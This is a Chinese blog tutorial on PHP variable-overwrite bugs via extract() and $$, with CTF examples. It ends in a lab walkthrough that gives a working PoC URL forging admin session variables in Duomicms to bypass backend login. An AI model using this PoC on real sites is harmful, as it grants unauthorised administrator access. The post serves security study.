变量覆盖漏洞

变量覆盖

变量覆盖就是字面意思。。不解释了
函数:

  • extract()
    将数组中的值导入当前符号集

在这里插入图片描述


这里将一道简单的 CTF 题目(稍有改编)

<?php
$content = 'X47US3C';
extract($_GET);
if(isset($gift)) {
    if($gift == $content) {
        echo 'flag is '.$flag;
    }
} else {
    echo 'how to get flag';
}

如果上面第三行写的是 $gift = $_GET['gift'] ,应该容易理解,但是它使用了 extract 函数,要了解这点,我们需要深入了解 $_GET
这种以 $_ 开头的变量都叫做超全局变量,均为数组,我们可以用 var_dump 查看一下

<?php
echo var_dump($_REQUEST) . '<br>';
echo var_dump($_GET) . '<br>';
echo var_dump($_POST) . '<br>';
echo var_dump($_COOKIE);

在这里插入图片描述
所以可以利用 extract 函数将这些数组导入当前符号集,也就是说直接使用他的键值对作为当前的变量
对于那道CTF,我们只需要传入?$gift = X47US3C,即可,不需要考虑传给了谁,因为它会被自动导入符号集

  • $$
    这个举个例子就能看懂:
<?php
$a = 'a';
$b = 'b';
$c = 'c';
echo "\$a = ".$a.'<br>';
echo "\$\$a = ".$$a.'<br>';
echo "\$\$\$a = ".$$$a;

在这里插入图片描述


同样引入一道 CTF

<?php
$a = 1;
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
    foreach($$_request as $_key => $_value) {
        $$_key = addslashes($_value);
    }
}
echo $a;

foreach(array('_COOKIE', '_POST', '_GET') as $_request) 数组遍历,相当于将每个键值对拿出来赋给 $_request 数组
foreach($$_request as $_key => $_value) 键值分离,将这个数组的键和值分别拿出来赋给变量 $key$value
$$_key = addslashes($_value); 调用魔术引号的函数
在这里插入图片描述

SESSION

Cookie => 一段随机值,代表身份(与 Session 对应)
Session => 校验 Cookie (看作一个数据库,与 Cookie 有对应关系)
Token => 只校验请求是否有用户本人发起(防止CSRF,与权限无关)

有时候 XSS 打到了 Cookie ,但是 Session 被注销掉,就不存在对应关系

靶场

Duomicms
POCinterface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin
打开源码,搜索\$\$(开启正则)
在这里插入图片描述
小技巧:像这种 admin 目录下的文件一般都需要权限验证,可以先不审
找到一个可利用的点,但它前面代码存在 exit (die也要分析),先分析这段代码

foreach($_REQUEST as $_k=>$_v)
{
	if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
	{
		exit('Request var not allow!');
	}
}

foreach($_REQUEST as $_k=>$_v)键值分离(GET、POST)
strlen($_k)>0 键长度大于 0
!isset($_COOKIE[$_k]) 当存在同名参数时会返回 false

所以只要 GET 传参的同时 Cookie 中也有此键就不会进去,就不存在退出的情况
现在可以分析刚才那段存在利用点的代码

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
	foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

要使用 Session ,就要存在 session_start() ,在全局搜索包含这个文件的且开启了 Session 的
在这里插入图片描述
在这里插入图片描述
找到一个满足条件的文件,那么可以在这里随意创建 Session
在本地搭一个相同的 CMS,然后在 index.php 中写入 die(var_dump($_SESSION)) 以获取管理员(CMS 管理员的Session时相同的)
在这里插入图片描述
现在我们复刻一下 Session 就好
poc:interface/comment.php?_SESSION[duomi_ckstr]=dqmw&_SESSION[duomi_ckstr_last]=&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin
注意点:对于加不加引号的问题,原Session是["duomi_ckstr"],这种就可以不加,千万不能加单引号
访问admin页面
在这里插入图片描述
传入poc 再访问
在这里插入图片描述
成功进入后台

posted @ 2021-12-30 13:05  1ta-chi  阅读(225)  评论(0)    收藏  举报